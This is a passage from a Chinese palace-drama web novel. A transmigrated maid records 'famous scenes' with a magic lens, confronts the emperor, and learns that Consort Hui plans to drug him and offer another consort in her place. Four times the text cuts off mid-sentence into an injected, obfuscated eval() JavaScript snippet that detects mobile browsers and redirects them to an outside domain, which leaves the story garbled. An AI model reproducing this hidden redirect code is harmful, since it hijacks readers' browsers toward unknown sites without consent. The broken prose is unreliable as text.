“小荷,怎么能让叶儿姐姐自己送药呢,随便派一个人跑腿便是。”与小荷关系很好的一个宫女确认邝叶走远,才看对小荷低声道。 她旁边另一个也附和:“是啊,若是被桃儿姐姐知道,又该骂我们躲懒了。” 小荷却笑了,“哎,你们都不懂,哪是送东西啊,她是不放心娘娘和桃儿姐姐,寻个由头亲自去看罢了。” “哦……”两个宫女恍然大悟。邝叶走了,大家的拘谨一扫而空,开始聊起来。 邝叶快步往太后的福宁宫走,有些纠结要不要使用伪装道具。给慧妃送药的理由足够充分,用她自己身份和样貌也合适,只是一会儿需要把透镜放到眼前进行拍摄的话,可能会引起怀疑…… 正纠结着,已经到了福宁宫,倒计时还剩【00:20:00】,透镜仍像块圆形荧光屏一样发着光。思来想去,邝叶还是觉得不使用“千人一面”的伪装效果,直接以自己的本来身份样子进去。 守门口的宫女拦住了邝叶,邝叶忙按流程对她说了自己的身份和来意,对方听到她是潆霞宫的,只是抬头多看了她一眼,目光扫过她的几处伤,没多说什么,让她等。 邝叶也不是擅长套近乎的人,没有趁此机会打听“太后今日心情如何”之类的,乖乖等着通传,只不过不时看一眼腰间系着的圆形琉璃片。 不知是不是太后宫里的人办事效率都很高,或者是有着慧妃在里头的缘故,邝叶没等多久便来了个年纪大些的宫女引她进去。邝叶原先还担心她们会让她把药放下,由她们转交,此时才放下心来。 邝叶前几次作为慧妃的宫女陪着慧妃来请安是从侧门进,上次装作修缮处太监是由侧门进,这次却是从后门进入,要拐几道弯,又过一条游廊,上下几级台阶,跨过几道门,才跟着引路的宫女来到太后起居的侧殿。 殿内已换上应季的梨花木家具和青瓷装饰,熏着清新醒神的香药,只有太后和慧妃以及各自的女官与宫女们在。太后一身高高端坐主位榻上,背向后靠着,身后是她的女官闻新雪和她的掌事孙姑姑,慧妃则坐在下首,面色凝重,身后是垂首而立的桃儿和杏花,殿内不见其他妃嫔,连太后的姪女贵妃都不在。 邝叶在合适的位置跪下行礼后,首先听到了太后征询的声音,“这就是陛下看上的那宫女?” 不出所料,领她进来却不是让她把药留下转交的原因,正是想见识一下让皇帝和慧妃“争抢”的宫女究竟是个什么样。 接着便是慧妃的回答:“回太后娘娘,正是叶儿。” “你走近些,让哀家看看。” 她说了“走”,也就是说可以不必膝行让衣服拖着地板过去,邝叶很快站起来,低头走到太后跟前,慢慢抬起头。 “还行,”太后微眯起双眼,目光如炬,上下打量了邝叶一番,却对她的长相举止不置可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247417|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 否,对她脸上的伤也不感兴趣,“你家住何处,家里做什么?” “回太后娘娘,奴婢十年前随长辈迁入京城,父亲是个裁缝,母亲,也是裁缝……” 邝叶回答了原主的出身,太后听完也不作反应,只吩咐道:“回你主子身边去罢。” “是。” 邝叶应声走到慧妃身后,杏花自觉往后退了些,让她站自己的位置,桃儿见她过来,对着她皱了一下鼻子,做出一个自以为恶狠狠的表情。 “叶儿,你忙得忘了,药桃儿早备着了,我也已经吃过,你却是多跑一趟了。”慧妃故意用所有人都能听到的声音,圆上了这个拙劣的谎。 “啊,是嘛,奴这记性真是……”邝叶也十分尴尬地贡献着大家心知肚明的演出,说完抽空看了一眼透镜上的倒计时:【00:00:31】。 “好,”太后突然坐直,看向慧妃道,“哀家不会同意陛下册封宫女,萧妃你大可留着她,可你自己的事,你就自己掂量着吧……哀家言尽于此,你们回罢。”太后说了句只有她与她密探过后的慧妃才知道暗语,收回目光,向孙姑姑伸出手,让对方将她扶起,旁边闻女官也赶紧弯腰虚扶她。 慧妃忙也站起来领着自己的宫女们行礼,“是,臣妾告退。” 直到太后转身,慧妃才站直,却仍望着太后离开的方向没动。 【00:00:03】 邝叶赶紧往旁边走了一步,把慧妃深情凝重的侧脸收录下来。 琉璃透镜终于不发那只有她能看到的亮得刺眼的光了,取而代之的是收录提示【名场面:慧妃之两难抉择(新增),等级:C级。收录成功!】【摄影师邝叶,剩余寿命:630天。】 没等邝叶高兴,她忽然感觉到一道不善的目光,往那道目光投来的方向看去,正是穿戴女官服冠的闻新雪,对方不知为什么转回头来,许是有话嘱咐慧妃或是寒暄抑或是没有缘由地就回头了——无论是为什么,她回了头,看到引起皇帝与慧妃象征的宫女正举起一块大琉璃片放到眼前,看向慧妃。 她看到了吗? 她会不会以为我在用什么邪术? 她可能会因此告诉太后吗? 许多问题一时间一起充斥在邝叶脑子里,可她什么也不能做,只能眼睁睁看着闻女官又回过头,跟上太后。 “走,我们回去。” 直到慧妃的声音响起,邝叶回过神来,将那些纷乱的想法尽数甩掉,跟上慧妃她们。 “还真是如你所愿了,”走出福宁宫,桃儿突然没好气地说,“主子不惜向太后服软也要留下你。” “嗯,娘娘真好。”邝叶听出了桃儿话里带刺,凭她的语言能力没法反扎桃儿,于是她顺着对方的话说,像把刺轻易拔出,还说“一点不疼”一样。 如此,桃儿更气了,一路上都不说话。 比起桃儿,奇怪的是慧妃,一直都是心事重重的模样,桃儿讽刺邝叶她都跟没听到似的。 慧妃和太后,究竟怎么谈的? 31. 名场面三十一 正午的阳光平等炙烤着一切,青石板路面反射着晃眼的白光,蝉鸣一阵响过一阵,搅得人心烦意乱。 慧妃一路无话,眉头紧蹙,仿佛心里揣着千斤重担。桃儿因着方才没在嘴上占到邝叶的便宜,又见慧妃神色不豫,也沉默着。杏花更是大气不敢出。邝叶一如既往地安静,内心也在思忖。 太后说了不会允许皇帝册封宫女,也即是说,邝叶不调入御前的事太后已经答应帮忙解决了,只要有太后出面,无论是从伦理孝道上还是权势角力上,皇帝都不会做出为了一个宫女跟太后对着干这种荒唐事。 可太后那句“你自己的事,你自己掂量着”显然别有深意,慧妃自己唯一所求的就是离开皇宫这个是非之地,而太后以此为条件,对她提出了要求,这要求正是她为难的原因。 奇怪了,按理说太后不喜欢慧妃,慧妃的受宠还阻碍了她的皇后儿媳和贵妃姪女,她应该巴不得慧妃走得远远儿的才对,慧妃自己都提出了,为什么她不直接放慧妃离开皇宫呢? 终于回到潆霞宫,室内冰鉴里散出的丝丝凉气稍稍驱散了暑热。 慧妃挥退了其他宫人,又让桃儿去帮她取来一碗早上吩咐厨房做的冰镇莲子羹。 邝叶也要跟着一块儿去,桃儿却拦她,说让她留下侍候主子,拉着杏花一起往厨房去了。 邝叶以为慧妃要单独和自己说什么,可对方竟一言不发,两人保持了良久的沉默,久到邝叶以为有恐龙演化出飞行能力那么久,久到能听到带着莲子羹返回的桃儿和杏花的交谈声,邝叶才听到了一句话。 "你说,桃儿去林昭容那儿如何?” 邝叶还反应了一会才发觉慧妃是在问她,而不是在自言自语,便嘟嘟囔囔的答了一句模棱两可的“挺好的”。 “嗯,是挺好的。”慧妃也回了一句莫名其妙的。 桃儿和杏花一起进来,杏花小心翼翼地把手里托盘放在桌上,桃儿则将托盘里被浸在冰水中的那碗莲子羹端起来,呈给了慧妃,慧妃接过,拿调羹尝了一口,连连点头说好吃,叫给林昭容也送一碗过去,要桃儿亲自送。 桃儿有些不耐地应着“知道了”,她不喜林昭容那种软弱的人,但身为慧妃的贴身宫女,表面上礼数总是周全的。 一旁的邝叶觉得有些奇怪,给林昭容送礼这件事应该让邝叶来做才对,邝叶身份也足够,和林昭容又有此前御花园相助的渊源,对林昭容也不像桃儿那样抵触,前两次送东西去昭容处的也都是邝叶,为何此次要让桃儿送呢? 邝叶神游的时候,慧妃已经将一碗莲子羹吃完了,“我吃一碗就好了,太凉的东西我吃不得太多,除去给昭容的,剩下的你们分罢。” “多谢娘娘,”杏花第一个出来拍马屁,甚至抢在了她师傅桃儿前边,“娘娘待我们真好!” “废话,娘娘是我们主子,待我们当然好。”桃儿说完还不着痕迹的瞟了邝叶一眼。 邝叶接收到那个目光,猜想桃儿应该是在提点自己,慧妃为了她不被调走而去向太后求情的事,邝叶完全不怵,也看了回去,回报以同样的眼神:她也在为你谋划呢。 慧妃也在为了自己离开皇宫后桃儿的处境筹谋,而林昭容就是她为桃儿选的新主子,她深知自己全身而退都难,带桃儿一起回乡是更不可能了,便想着给她找个好相处的人,待林昭容好,也是为了自己走后,林昭容能念着她的好,对桃儿宽容以待。 所以,慧妃才有方才四下无人时对邝叶的那一问,才有非要桃儿去给林昭容送羹的命令…… 这对胜似姐妹的主仆,虽因观念不同注定分开,但终究是想着对方的。 桃儿总以为慧妃因为邝叶而疏远了她,但其实从来没有,她和慧妃十几年的情谊是不可取代的,就是她伤了慧妃的心也不能,就是新来了一个更温顺更理解慧妃的人也不能…… 对慧妃的谋划一无所知的桃儿指挥着杏花收拾餐具,和杏花一块儿走了,邝叶陪慧妃坐了一会儿,服侍她拆掉发髻拆环,脱去外衣,躺到了榻上午睡。 闭眼前,慧妃拉住了邝叶的手,说:“你别担心,我也定会帮你找好容身之处。” 邝叶不置可否,点点头应了一声“嗯”。看来,虽然自己在慧妃心里比不过桃儿,但排第二还是没问题的。 邝叶走到了外间,本想在这儿守着,肚子却咕咕叫了起来,这具身体毕竟只有十五岁,正是生长的时候,一顿不吃饿得慌,尤其她午饭只吃两口就丢下了,现在当然就开始饿了。 无法,邝叶只得叫其他人来守着,自己去找吃的。 谢天谢地,小荷给她留了饭。邝叶独自一人,坐在饭桌前,风卷残云地吃完了午饭,吃完正好赶上桃儿送羹回来分羹,邝叶又收到一碗莲子羹…… 吃饱喝足,邝叶没有开始犯困,而是又回想起离开太后的福宁宫时闻女官的眼神。 闻新雪,和司药司一个曲姓女史是旧友…… 也只能从曲姓女史这里找门路了,邝叶隔着纱布摸了摸自己脖颈的伤口。 邝叶是等到了午休时间之后才去的找的曲大夫,然而不巧,今日曲大夫休沐,明日才出诊。 好吧,邝叶婉拒了让另一位医女开伤药的建议,像一个只信任自己主治医生的偏执病人一样,说自己明天再来,便往回走了。 午后的太阳倒比正午还热些,这具身体毕竟和前世在非洲大草原上狂奔的身体比不了,一会儿便被晒得受不了,赶路的脚步愈来愈急。 刚走进潆霞宫的屋檐,邝叶被人拦住了去路,是上次见过的宫女,御前的,叫玉芳。 看到对方,也不用多说什么了,邝叶只问了句“知会过慧妃娘娘没有”,得到肯定答复,以及皇帝特地交代的“慧妃不必跟来”的命令后,顺从地跟上玉芳走了。 邝叶跟着玉芳走进了侧殿,与上次面圣略有不同,殿内没有侍卫,除了皇帝,只有安居进和两个执扇宫女,自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307360|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命根子琉璃透镜也没捏在别人手里。 玉芳行礼禀报后便退出去了。 邝叶看了眼安居进并不好看的脸上,本想只屈膝行个礼的,改成了下跪参拜,很有礼貌,安公公可不能再指摘她了。 皇帝此次也没有叫她平身,只挥了挥手,让安居进和执扇宫女们出去,自己站起身,一步一步地走向低头跪着的邝叶。 屋里很凉爽,这应当是皇宫里温度最适宜不过的一间屋子了,被太阳晒得燥热难忍的邝叶甫一走进这间屋子,心绪就平静下来。 但这个屋子的主人就不太平静,邝叶从他离自己越来越近踱步声里听出了烦躁,而这烦躁,因自己而起。 “不错,”皇帝停在邝叶面前,香囊散发出一股带来凉意的香气钻进邝叶鼻子里,他完全不能说得上是夸奖的语气道了句夸奖的话,“你竟能撺掇她叛朕,去投靠太后。” 消息真灵通,不,应当说,太后效率真高。 邝叶闻言抬起头,对上皇帝不悦的视线,冒着薄汗的脸露出了她穿到这个世界后最真心实意的一个笑容,道:“是您撺掇的,不是我。若不是您去年骗她在太后面前念那首诗,她如今不会被太后娘娘策反。” 皇帝不再低头,目光不经意般扫过躺在邝叶裙子上的琉璃透镜,“这是你算出来的?靠的那块琉璃?” 邝叶摇摇头,但她也不打算说是慧妃告诉的她,就让皇帝瞎猜搞阴谋论去吧。 “慧妃就罢了,她性子清高认死理,亏你出世之人,竟也如此感情用事,”皇帝的面色稍霁,一切尽在掌握的自信悄然回归,让他对眼前这个刚摆了他一道的宫女不免多了些轻蔑之意,“太后如今已年过五十,体衰力乏,而朕才入弱冠之年,且朕乃正统,太后必将交还权柄,弃朕而投太后,真是愚不可及……” “有个女帝六十多岁才登基呢,”邝叶把心中的话脱口而出,像是为了给慧妃出口气,全然不管皇帝会不会怒不可遏把她拖出去砍了,“还是从亲儿子手上夺的位,先皇嫡子的皇位继承合法性是最高的了,她照样能夺下来,而您只是过继来的藩王之子……” 从来没有人敢在皇帝面前说这些,尽管这是所有人心知肚明的事实。 邝叶的话语简直就是在把他极力掩饰的伤口翻出来。 “况且,皇家这一代都是儿子活不过妈,您怎么能确保自己就活得过太后?”邝叶又在伤口上撒了盐。 “住嘴……”皇帝几乎是咬牙切齿,已在暴怒边缘。 “是。”邝叶乖乖闭嘴。 皇帝甩袖转过身去,坐回御案后,过了一会儿,突然问道:“可有破解之法?” 邝叶一脸疑惑,什么?他把她的宣泄当成预言警告了?他真信了“儿子活不过妈”?! 邝叶有些心虚地低下头,正好看到琉璃透镜浮现出新的字迹: 【名场面:慧妃奉媚酒献昭容。等级:A。23:59:59】 啊? 32. 名场面三十二 邝叶的表情变化当然被皇帝所捕捉,自然也发现了她是看到琉璃片后才脸上一变。 自认为与邝叶共享琉璃透镜的皇帝再次走向邝叶,在她面前蹲下身,邝叶见到他靠近,立马舒展因疑惑拧起的眉毛,装作平静,没有逃开。 皇帝拿起了她的透镜,放到眼前看—— 他自然是看不见透镜所发布的任务,只能看见里面存储的名场面,而邝叶收录的上一个名场面是在福宁宫收录的【慧妃“两难抉择”】。 邝叶没有阻拦他动自己的东西,目光停留在他近在咫尺的脸上,心里想的是这个最新的收录任务对应的是什么奇葩剧情,可惜这方面的知识储备实在不多,一时间也想不出来。 皇帝很自然地,看到了今天中午关于慧妃的名场面。先前从太后那里听到,他还不愿相信,此刻,算是得到验证了。 良久,他才放下琉璃透镜,自嘲般叹一句:“果然如此,朕就知道,早有这么一日,什么诺言都当不得真……” 他大失所望,仿佛遭受了莫大的背叛,可话语里的自嘲却又像早预料到会有这一天,甚至隐隐盼着这一天到来。 明明是他先出卖的慧妃吧? 邝叶看不得这种倒打一耙,很风凉地提醒道:“您要是半年前不害她进冷宫,她也不会这样。” “朕也并非有意,”皇帝低声反驳,说出口后又觉得没必要和一个宫女辩解什么,现在也非伤感惋惜之时,便站起身,敛去情绪,俯视着邝叶正色道,“你方才从琉璃里看到了什么?有大事发生?” 邝叶很佩服皇帝控制情绪的能力,她就做不到,要不然方才接到新收录任务也不会露出那种大惑不解的表情让皇帝起疑。 现在说“没什么”来掩饰显然是不能的,皇帝不是蠢货,看到她支支吾吾只会觉得兹事体大,且和自己有关,会想尽办法得知,严刑逼供肯定也不在话下了。 “是有提示,但我不得其意。”被用刑之后说和现在就说邝叶选择了后者,毕竟在别人领地上呢。 皇帝半眯起眼:“与朕有关?” 邝叶摇摇头。 “那是什么?” 邝叶抿起嘴,事关慧妃,她不想说给皇帝知道,可……邝叶抬眼,小心打量皇帝的表情。 见她久不答话,皇帝催促道,“怎么,是天机不可泄露?” 邝叶原本还摇头,发现这是个再好不过的理由,简直是瞌睡送枕头,又连忙点头。 皇帝的目光逡巡过邝叶,试图从她那张没什么表情的脸上找出撒谎或故弄玄虚的痕迹,然而未能如愿,只见到近乎呆板的面无表情,他不信任邝叶的说辞,却也不想对这个身有异术之人用刑,为慧妃投诚太后一是把她抓来威吓是一回事,真用刑将她彻底推到对立面就是另一回事了。 预知啊,要是为他所用该多好……可身怀预知能力的这个人,既对荣华富贵不为所动,也无意于身后名与家族封荫,甚至修行便利给她也不要,名副其实的遗世独立之人,好似能稍稍触动她的也就是慧妃了…… 皇帝心底生出了主意,打算把背叛他的慧妃物尽其用,坐回他的御座之上,让邝叶平身,命人去取新得的前朝书法大师的碑拓本来。 又对邝叶道:“慧妃喜欢孟恭的字,你回去,正好替朕送给她。” “是。”邝叶不解,你俩都到这份上了还要继续表演宠爱么?然而再是不解,能逃过一劫,她还是松了一口气,本来以为皇帝会给她些什么教训,让她本来就有伤的身上再添几道伤,没想到只是用她的验证了慧妃投靠太后就放她走了,竟然都没有等到慧妃来救她。 邝叶带着厚厚的拓本回到潆霞宫,去给慧妃送拓本的时候发现林昭容也在,正帮着慧妃一起料理尚宫们递上来的汇报,便给对方见了礼。 林昭容摇着美人团扇,摇出一阵香风,很不扫兴地笑道:“陛下待慧妃娘娘真好,有好东西总想着往这儿送。”话语之中不乏艳羡之意,却没注意到她说话间,慧妃脸上一闪而过的尴尬之色。 “只是碰巧罢了,”慧妃很快又露出得体笑容来,打趣道,“陛下对昭容妹妹又何曾不好了?” 慧妃和皇帝不愧是青梅竹马的知己,到了这份上还要不约而同地粉饰太平,实在是两个体面人!整间屋子,只有邝叶看出了慧妃隐在讨好笑容之下的厌恶与疲倦。 讨好……这是个与慧妃极不适配的词,每次出现在她身上都是因为面对的是皇帝,并且每次都会演变成争执。要知道,她即使去向太后投诚时,本着利益交换的想法,姿态也是不卑不亢的,全没有现在这么忸怩,但邝叶却偏偏感觉出了她此刻面对昭容时的讨好——只是想等未来自己离宫之后林昭容能照拂桃儿的话,没有必要这样吧? 邝叶不解。邝叶发现,今天自己感到不解的时刻也太多了,封建人类社会还是太不好呆了,她想回她的原始丛林。可惜透镜不给关于脱离这个世界的任何提示,眼前还有一个让她一头雾水的收录任务在明天等她。 【名场面:慧妃奉媚酒献昭容。等级:A。22:50:08】 名场面可以确定与眼前这两个女人有关,想要成功收录这个名场面,明天邝叶只需紧跟着慧妃即可。 一个荒谬又可怕的念头骤然在邝叶脑中生成,太后那句“你自己的事”和慧妃从福宁宫回来路上的凝重神色、以及她突然对林昭容示好的行为瞬间串联起来——太后提出的条件,莫非林昭容是作为放慧妃离开皇宫的交换条件? 太后要慧妃毒死林昭容作为投名状吗?没可能啊,且不说她们目前关系很好,就算要反目成仇也得有利益冲突,慧妃和昭容并无利益冲突,而且待收录的名场面所踢到的也是奉媚酒而不是奉毒酒。 所以任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340180|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务字面上的那杯“媚酒”究竟是什么? 很快便到了传晚膳时候,慧妃特地提早派人告诉告知膳房,她要留林昭容在潆霞宫用膳,邝叶想问慧妃关于太后的条件一事也就一直寻不着机会问,只能心里压着问题,和桃儿一起伺候她们吃晚饭。 吃完饭,林昭容还留了会儿,感叹管理后宫真忙,好在皇后娘娘的禁足思过期限将尽,届时便会回来处理事务,慧妃就不再这么辛苦了云云……直到宫灯次第点亮,林昭容才带着宫女,告别离去。 林昭容一走,还不等憋了快两个时辰的邝叶开口,慧妃主动把她拉到自己跟前,问她:“是不是有什么困惑难解?” 邝叶看了看左右,确定桃儿刚往小厨房吩咐熬药去了,其他人都离得远,才低下头凑近慧妃耳边问:“您是不是向太后求了出宫?给太后的投名状是不是与昭容娘娘有关?” 慧妃脸上的神情随着邝叶的话一句一变,先是惊讶,又是欣慰,她没有回答邝叶,而是叹道:“你果真聪明,桃儿才需要我为她担忧今后的去处,你,我根本无需操心。” 邝叶被这么一夸,有点不好意思地偏过头去,其实是因为我有外挂啊。 “是啊,”慧妃回答,“可此事既与你无关,你就不必再问了,以免牵连了你。” 邝叶没想到会是这样的回答,慧妃竟然拒绝让她知道内情,尽管邝叶知道这可能出于保护,但仍让她有深深的无力感,像被一头关在笼子里的野兽,明明感知到了危险,却只能焦灼地等待。 况且,“为你好,但我不告诉你”这不就和皇帝指使人在给慧妃的赐膳里下毒以达到扳倒皇后扶慧妃上位的行为一样么?慧妃反感皇帝的行为,却下意识做出了一样的行为,这俩人真不愧是青梅竹马的知己。 等会儿!邝叶突然灵光一闪,福至心灵。 她知道这是什么女频小说经典狗血桥段了。 下药啊!是下某些药! 只是邝叶这方面的知识储备不够,看过的下药桥段都是在现代都市背景文里,所以忽略了。 慧妃要递给太后的投名状是给皇帝下药,再把昭容送到皇帝床上,这么一来,男主角就跟替身爱恨纠葛去了,白月光就出宫去了…… 邝叶被自己突如其来的灵感吓到了,但仔细想想又不太对,她看向慧妃,后者正倚在榻上翻看那本邝叶走德庆宫一趟带回的拓本,一派娴静端庄。 昭容本来就是慧妃的替身,本来就是皇帝选的宫妃,给皇帝下药再把她送皇帝床上这不多此一举吗?慧妃和太后都不是什么蠢人,怎么能就这个荒谬的想法达成一致的呢? 除非,邝叶想到了一个更荒谬的想法,荒谬到她自己都忍不住笑。 “娘娘,”邝叶半蹲下来,靠得慧妃很近,慧妃偏头看向她,示意她说,邝叶才低声问,“您是不是,没跟皇上圆房?” 33. 名场面三十三 莫名其妙问一个已婚三年的女人“你是不是处”,就算在邝叶生活的现代也是很冒犯的。 慧妃听到这个问题,第一反应却不是生气,而是惊骇,翻动拓本的手指骤然停住,纸张发出轻微的脆响。 这事她连桃儿都没有告诉,邝叶一个十五、六岁的宫女,是怎么知道的? “他告诉的你?” 邝叶连忙摇头。 不是皇帝说的,那邝叶怎么可能知道?慧妃想到之前,皇帝要把邝叶调离她身边,调至御前时说的“你不愿再与我当知己,我再找一个还不能了”,手上这本碑拓本也变得烫手起来,在她决心离开之时,对方早已选好了下一个,而今日赐给她的这本拓本,究竟是决裂前的信物还是讨好新人的道具? 慧妃这反应无疑证实了邝叶的猜想,邝叶没有退缩,反而更凑近了些,声音压得极低,确保只有她们两人能听见:“是因为陛下不敢有皇子,对吗?” 古代价值观下对于子嗣是非常看重的,娶一个女的就是为了赶紧生孩子,主要是儿子,尤其皇室上一代还是因嫡系无后从旁支过继了继承人来。按理说,这个过继来的继承人,也就是当今圣上,理应是最着急要儿子以确保自己这一世系的继承,但是,目下所见,皇帝至今无子,后宫无一人有所出,反而太后时不时催生。 因为他对皇位的继承不是真继承,而是作为一个吉祥物被摆在御座上,权柄由太后及摄政王把持,皇帝有名而无实。而皇帝如今已经二十岁,当然不满足于当一个傀儡,势必要夺权,但太后一方的诉求却是傀儡越安静越无害越好,怎么能夺权呢?还不如再扶持一个奶娃娃当傀儡! 这便是皇室新旧掌权者的矛盾所在,亦是皇帝无子的主要原因,只有他无子,他才能保住自己的位置甚至是性命,不至于被自己的皇子取而代之,才能维持住目前微妙的平衡。 而如何以最小代价避免有子?当然是不沾女人。 这绝非爱某人为某人守身如玉的痴情纯爱故事,也绝非“男主角第一次当然要给女主角”的创作者代入自身后的无形操控,这是权力的博弈。 邝叶对人与人之间的关系向来不解,但对自然界里真实赤祼的权力和强弱排序却是看得太多而深有体悟。她猜到了皇帝与太后之间的权力博弈,也才推敲出皇帝与慧妃无身体关系的可能。 “你……”慧妃努力地呼吸了好几下,才声音干涩地问,“你究竟是……何方神圣?”她抬头看了看周围,对其他宫女们道,“你们都下去。” 宫女们应声离开,退到外面下去了。 慧妃把拓本随手放置一旁,看着低下头重新看向邝叶,那双动物般眼睛,此刻正倒映出她的模样——她看不清,但可想而知,不会是什么好看的模样。 “你究竟知道多少?是他告诉你的,还是……你与我说这些,有什么目的?”慧妃右手握住自己的左手手腕,逼自己冷静,尽快想出应对之策。 今日她费尽心机,不着痕迹地在请安时在太后面前提起了半年前水榭诵诗一事,对太后表达了投诚之意,才向对方提出了皇帝要调邝叶一事,她知道太后不喜皇帝对宫女有意,只要把此事往男女之情上引,太后便会出手阻挠——她的确成功了,她避免了邝叶被调到皇帝身边,可当她顺势提出自己不愿再与宫妃们相争,请求离宫的时候,太后却驳了她的请求。 太后原话是:“哀家还不知道自己的姪女儿什么样么,她根本拢不住陛下的心,别说是她,就是其他所有妃子加起来也不及你,整个后宫,你是最可能给哀家生孙儿的,哀家若放走了你,哀家岂不是闭了眼都抱不上皇孙?” 即使再看她不顺眼,想到她的肚子将来有可能诞下皇子,也要把她留下……慧妃再一次意识到了皇宫的残酷,自己的渺小,再一次想到十五岁时在梨花枝下信誓旦旦说“魔窟我也陪你闯,皇宫算什么”的自己是多么幼稚又自不量力,她赢不了,她怎么可能赢呢?只有丛隐那样的才有赢的可能。 于绝望之中,太后又说了一句看似无意的玩笑话:“除非,你能找到一个女人,把陛下对你的心全转她身上去,这样,你也就没用了。” 于是,她又想到了一个人,一个她随手施予了庇护的人,一个家世不显,性格软弱,易于太后控制,却因为容貌气质有些像她而被册封的女人…… 慧妃看着原先半蹲下来的邝叶突然站起身,目光便也跟着邝叶抬起,她看见邝叶突然变得着急,双手抓住她的肩膀,对她道:“不要这样做!” “为什么?”慧妃反问,清雅平和的脸上少有地带着倔强。 “因为,因为……”邝叶语塞,抿了好几下嘴,绞尽脑汁,才挤出一句,“己所不欲勿施于人。” 眼看着慧妃的脸色越来越难看,邝叶一股脑地把话全倒出来,“您问过昭容娘娘的意思吗,万一她不愿意呢,万一她跟您一样被利用某天莫名其妙就被打入冷宫呢?你不会良心不安吗?” 很讽刺,她前两天还想拉低慧妃的道德水准,此刻却在拼命唤醒慧妃的道德。 “呵,”慧妃突然发出一声冷笑,“我问过,她愿意。” 邝叶如同张嘴哈人却被塞了一嘴冻干的猫。 “她不仅愿意,而且满脸欢喜,”慧妃冷冷地描述着被她以精妙话术欺骗,沉浸在只要爬床就能得到庇佑幻想中的林昭容,“只要我办成此事,让陛下临幸她,甚至让她有孕,我便能让太后寻个由头放我出宫,我便可以回家了,我便重新是萧明琇,不是慧妃了。她也会有太后庇佑,甚至可能成为皇长子的母亲,今后不可限量。”说罢,她又补充了连自己说着都心虚的一句,“这是两全其美的事……” “那你怎么不让桃儿做?” 邝叶这一反问,让慧妃怒不可遏,扬起手就要扇邝叶耳光不许她说话。 人会在想隐藏内心的恶却被揭穿时恼怒,慧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357935|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃意识到自己的失态,扬起的手握成拳,又放下了。 她何尝不知道,这笔交易,是用另一个女人的身体和未来,做自己脱身的阶梯,这是她自己最不齿的那种方式,但她太弱了,她太想脱身了,她没法再死守底线,她只能做到保护她身边的人,所以不会让她的桃儿做,也不会让跟她患过难的邝叶做,至于其他人,她管不了了。 慧妃站起身,缓缓松开攥紧的拳头,逃避邝叶的问题,反问:“怎么,你难道要因为一个只见过几次的昭容叛我不成?还是你要以你的公理道义来指摘我?”她全然没有意识到,此刻破罐破摔反问邝叶的自己,像极了刚复位回宫时理直气壮反问她的皇帝。 邝叶被这“我就做了,你能怎么我”话术搞得欲言又止,止言又欲,最终无话可说。 她当然不是什么道德标兵,觉得慧妃就该是一朵白莲花干净纯洁从不害人,她甚至非常理解慧妃的不得已,理解她对离开的渴望;她当然也不会心疼男人,皇帝被下药关她屁事?只要让她能正常脱离这个世界回去,她巴不得皇帝驾崩,太后登基,公主变太子。 她担心的是慧妃。皇帝受这个世界的创造者偏爱,配角不可能真正害得了皇帝,同理,不配和皇帝发生性关系的人也不会有跟皇帝发生性关系的可能。命运不会让她的计划顺利,一定会在某些时刻某个环节败露,让她与皇帝彻底离心离德,这么一来,作为男主角的皇帝就有充分的理由和道德资本来处置她,让她下场凄惨,成为男女主感情的铺路石。 她内心深处并不希望慧妃真的走上这一步,她希望慧妃能获得自由,就像她自己热爱自由那样。 可慧妃已不打算再听她辩解,抓起那本碑拓本,眼神坚定,仿佛下定了决心,谁也不能阻拦她! 拓本砸倒了影青釉瓷瓶,外面的宫女听到慧妃不悦的声音传来:“来人!” 她们忙开门鱼贯而入,进门就听见慧妃指着旁边不知所措站着的邝叶,对她们下令:“把她关起来,让桃儿看着她,不许她跑了!” 宫女们不知道一向沉默寡言的叶儿怎么得罪慧妃了,但结合一地碎瓷片和落在碎瓷上展开了的拓本,猜想兴许是失手打碎了花瓶吧。 两个反应快的宫女上来一左一右抓住了邝叶的手,悄悄在她耳边说“得罪了”就要把她往柴房带去。 